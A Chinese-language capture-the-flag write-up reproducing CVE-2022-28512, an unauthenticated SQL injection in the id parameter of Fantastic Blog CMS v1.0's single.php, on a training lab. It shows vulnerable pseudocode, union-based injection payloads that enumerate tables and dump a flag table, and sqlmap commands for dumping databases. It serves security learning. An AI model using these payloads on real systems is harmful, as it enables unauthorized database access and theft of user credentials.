CVE-2022-28512漏洞复现与分析(春秋云镜)

前言

本文仅作渗透测试 技术学习与复盘使用。所有实验均在正规授权靶场开展,禁止将相关技术用于任何未授权的网络攻击行为。请遵守法律法规,合法合规学习网络安全技术。

靶标介绍

Fantastic Blog (CMS)是一个绝对出色的博客/文章网络内容管理系统。它使您可以轻松地管理您的网站或博客,它为您提供了广泛的功能来定制您的博客以满足您的需求。它具有强大的功能,您无需接触任何代码即可启动并运行您的博客。 该CMS的/single.php路径下,id参数存在一个SQL注入漏洞。

漏洞介绍

CVE-2022-28512 是一处高危未授权 SQL 注入漏洞,漏洞影响 Fantastic Blog CMS v1.0。该系统前端文章查看接口 single.php 对 id 参数未做任何过滤与合规校验,攻击者可直接构造恶意 SQL 语句,实现任意数据库查询、读取敏感数据、拖库,甚至配合业务漏洞实现权限提升与服务器控制。

该漏洞利用门槛极低,无需登录、无需任何权限、外网可直接利用,CVSS 评分高达 9.8 超危级别,是护网、渗透测试中高频出现的重点漏洞。

漏洞成因分析

Fantastic Blog CMS v1.0 的文章详情页面 single.php 在接收用户传入的 id 参数时,未对参数进行 整数强制过滤、特殊字符转义、预编译处理,直接将用户可控参数拼接至后端 SQL 查询语句中,导致存在通用 SQL 注入漏洞。

漏洞伪代码如下:

php 复制代码
$id = $_GET['id'];
$sql = "SELECT * FROM posts WHERE id = $id";

攻击者可通过单引号闭合原有SQL逻辑,拼接恶意查询语句,随意操作数据库数据。

漏洞复现原理
  1. 漏洞点位
    漏洞存在于前台公开访问接口,任何人都可以访问利用:
    http://target/fantasticblog/single.php?id=1
  2. 注入点验证
    通过单引号测试是否存在注入:
    http://target/fantasticblog/single.php?id=1'
    页面出现 SQL 语法报错,说明参数未过滤,SQL注入漏洞存在。
  3. 手工注入核心流程
    1、判断字段数:通过 order by 判断查询字段数量
    2、联合查询:使用 union select 拼接恶意查询语句
    3、查询当前数据库、数据表、字段
    4、读取用户账号、密码、后台敏感数据
  4. 工具批量检测(SQLMap)
    该漏洞特征明显,可直接使用 SQLMap 一键检测、脱库:
powershell 复制代码
sqlmap -u "http://target/fantasticblog/single.php?id=1" --dbs

打靶

点击图片跳到打靶的位置:

这里已经出现id了:

先加个'

显然是单引号闭合的SQL语句。

先找显位个数:

bash 复制代码
id=4' order by 9--+
bash 复制代码
id=4' order by 10--+

显位个数为9。

通过改变id值为负数找可以回显的点位:

bash 复制代码
id=-4' union select 1,2,3,4,5,6,7,8,9--+

爆库名:

bash 复制代码
id=-4' union select 1,2,3,database(),5,6,7,8,9--+

爆表名:

bash 复制代码
id=-4' union select 1,2,3,group_concat(table_name),5,6,7,8,9 from information_schema.tables where table_schema=database() --+
bash 复制代码
titles,page_hits,membership_userpermissions,membership_groups,blog_categories,membership_userrecords,membership_users,editors_choice,blogs,links,flag,banner_posts,membership_grouppermissions,visitor_info

有个flag表。

爆列名:

bash 复制代码
id=-4' union select 1,2,3,group_concat(column_name),5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name="flag" --+

爆数据:

bash 复制代码
id=-4' union select 1,2,3,group_concat(flag),5,6,7,8,9 from flag --+

当然,手搓是为了更好的理解原理,现在用sqlmap是更方便的。

爆库:

bash 复制代码
python sqlmap.py -u "https://eci-2ze90osvaz294b7nf7uh.cloudeci1.ichunqiu.com:80/single.php?id=4" --batch -dbs

爆ctf表:

bash 复制代码
python sqlmap.py -u "https://eci-2ze90osvaz294b7nf7uh.cloudeci1.ichunqiu.com:80/single.php?id=4" --batch -D ctf --tables

爆falg列:

bash 复制代码
python sqlmap.py -u "https://eci-2ze90osvaz294b7nf7uh.cloudeci1.ichunqiu.com:80/single.php?id=4" --batch -D ctf -T ctf --columns

爆flag字段值:

bash 复制代码
python sqlmap.py -u "https://eci-2ze90osvaz294b7nf7uh.cloudeci1.ichunqiu.com:80/single.php?id=4" --batch -D ctf -T flag --dump
相关推荐
X7x53 天前
深度拆解网络安全“闭环”之王——APPDRR模型
网络安全·网络攻击模型·安全威胁分析·安全架构·appdrr模型
X7x53 天前
一文讲透PADIMEE模型
网络安全·网络攻击模型·安全威胁分析·安全架构·padimee模型
持敬chijing4 天前
Web渗透之前后端漏洞-CORS跨越访问漏洞
安全·web安全·网络安全·网络攻击模型·安全威胁分析
持敬chijing5 天前
Web渗透之前后端漏洞-命令注入
安全·web安全·网络安全·网络攻击模型·安全威胁分析
X7x56 天前
重塑安全防线:PDR2A模型构建数字时代的动态防御体系
网络安全·网络攻击模型·安全威胁分析·安全架构·pdr2a模型
X7x56 天前
重塑安全边界:PDRR模型如何构建数字时代的韧性防线
网络安全·网络攻击模型·安全威胁分析·安全架构·pdrr模型
持敬chijing7 天前
Web渗透之前后端漏洞-文件包含漏洞
前端·安全·web安全·网络安全·网络攻击模型·安全威胁分析
持敬chijing7 天前
Web渗透之前后端漏洞-文件上传漏洞-过滤绕过与配置文件漏洞-条件竞争漏洞
前端·安全·web安全·网络安全·网络攻击模型·安全威胁分析
X7x57 天前
重塑数字安全防线:深度解析P2DR安全模型的实战价值
网络安全·网络攻击模型·安全威胁分析·安全架构·p2dr模型
持敬chijing8 天前
Web渗透之前后端漏洞-XSS漏洞原理攻击防御全流程
前端·安全·web安全·网络安全·网络攻击模型·安全威胁分析·xss